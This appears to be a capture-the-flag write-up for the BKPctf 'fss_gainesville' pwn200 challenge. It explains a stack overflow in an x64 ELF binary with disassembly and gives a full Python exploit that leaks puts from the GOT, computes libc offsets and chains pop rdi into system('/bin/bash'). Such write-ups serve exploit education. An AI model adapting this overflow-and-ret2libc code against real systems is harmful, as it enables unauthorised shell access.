''' fss_gainesville (pwn200) BKPctf So we got a x64 ELF binary, which have stack buffer overflow vuln in function `pirep` .text:0000000000401535 pirep proc near ; CODE XREF: main+E5p .text:0000000000401535 .text:0000000000401535 var_3A0 = qword ptr -3A0h .text:0000000000401535 var_398 = qword ptr -398h .text:0000000000401535 var_390 = byte ptr -390h .text:0000000000401535 var_310 = byte ptr -310h .text:0000000000401535 var_290 = byte ptr -290h .text:0000000000401535 var_210 = byte ptr -210h .text:0000000000401535 var_190 = byte ptr -190h .text:0000000000401535 s1 = byte ptr -110h .text:0000000000401535 s = byte ptr -90h .text:0000000000401535 var_4 = dword ptr -4 .text:0000000000401535 ... .text:0000000000401590 lea rax, [rbp+s] .text:0000000000401597 mov edx, 400h ; nbytes .text:000000000040159C mov rsi, rax ; buf .text:000000000040159F mov edi, 0 ; fd .text:00000000004015A4 mov eax, 0 .text:00000000004015A9 call _read as we can see there is only 0x8c bytes of space for buffer `s` but but we can write there 0x400 bytes via read no SSP, only NX and ASLR - no big deal ;] - problem is we do not have any interesting gadgets in binary to build fancy rop ;( So we need to leak out some libc address I went for leaking got, at the end of `weather` function we can find this nice piece of code: .text:00000000004014DA lea rax, [rbp+s] .text:00000000004014DE mov rsi, rax .text:00000000004014E1 mov edi, offset aMetarForS ; "METAR for %s\n" .text:00000000004014E6 mov eax, 0 .text:00000000004014EB call _printf .text:00000000004014F0 mov r8d, [rbp+var_24] .text:00000000004014F4 mov edi, [rbp+var_20] .text:00000000004014F7 mov ecx, [rbp+var_1C] .text:00000000004014FA mov edx, [rbp+var_18] .text:00000000004014FD lea rax, [rbp+s] .text:0000000000401501 mov esi, [rbp+var_28] .text:0000000000401504 mov [rsp+40h+var_40], esi .text:0000000000401507 mov r9d, r8d .text:000000000040150A mov r8d, edi .text:000000000040150D mov rsi, rax .text:0000000000401510 mov edi, offset aSDAutoDkt6smCl ; "%s %d AUTO %dKT 6SM CLR %d / %d A%d\n" .text:0000000000401515 mov eax, 0 .text:000000000040151A call _printf .text:000000000040151F mov rax, cs:stdout@@GLIBC_2_2_5 .text:0000000000401526 mov rdi, rax ; stream .text:0000000000401529 call _fflush .text:000000000040152E add rsp, 38h .text:0000000000401532 pop rbx .text:0000000000401533 pop rbp .text:0000000000401534 retn .text:0000000000401534 weather endp So basically if we can set up rbp+s to point on some address in got we can leak it, and since it end with ppr not leave;ret it will safely return to main loop, allowing us to perform final overflow so exploit contains 3 steps: - allocate "/bin/bash #\n" in fls structure which is in .bss so address doesn't change - leak address of puts and compute address of libc base, system and pop rdi gadget - overflow eip with pop rdi;system; &/bin/bash - win. flag: this_sexy86_n0t_mucho_2_$ay_:| and 200pts for DragonSector -- mak ''' from telnetlib import Telnet from struct import pack,unpack from threading import Event t = Telnet('localhost',2121) #t = Telnet('50.112.133.81',30002 ) base = 'UA /OV b /TM c /FL d /TP e / ' ## first do spam some /bin/bash.. print '[*] spam /bin/bash' t.read_until('> ') t.write("1\n") for i in range(0,4): t.read_until(": ") t.write("/bin/bash #\n") t.read_until(": ") t.write("ABCD\n") t.read_until('> ') t.write("5\n") t.read_until(": ") ## leak puts@got via returnig to end of weather nad seting rbp to ## addres of puts in got t.write(base + 'A'*115 + pack('QQ',0x006021f0+0x30+(0x18+8),0x4014da) ) t.get_socket().recv(100) # read_until("of file\n") x=t.read_until("\n") t.read_until('> ') a=x.find("for ");b=x.find("\n") puts = unpack('Q',x[a+4:b].ljust(8,"\x00"))[0] print '[*] puts @ %x' % puts libc = puts - 0x70ce0 poprdi_off = 0x229f2 system_off = 0x45660 bash_ptr = 0x6022c4 print '[*] libc @ %x' % libc print '[*] system @ %x' % (libc+system_off) print '[*[ pop rdi @ %x' % (libc + poprdi_off) t.write("5\n") t.read_until(": ") t.write('Ua /OV b /TM c /FL d /TP e / ' + "B"*115 + "C"*8 + pack('Q',libc+poprdi_off) + pack('Q',bash_ptr) + pack('Q',libc +system_off )) t.interact()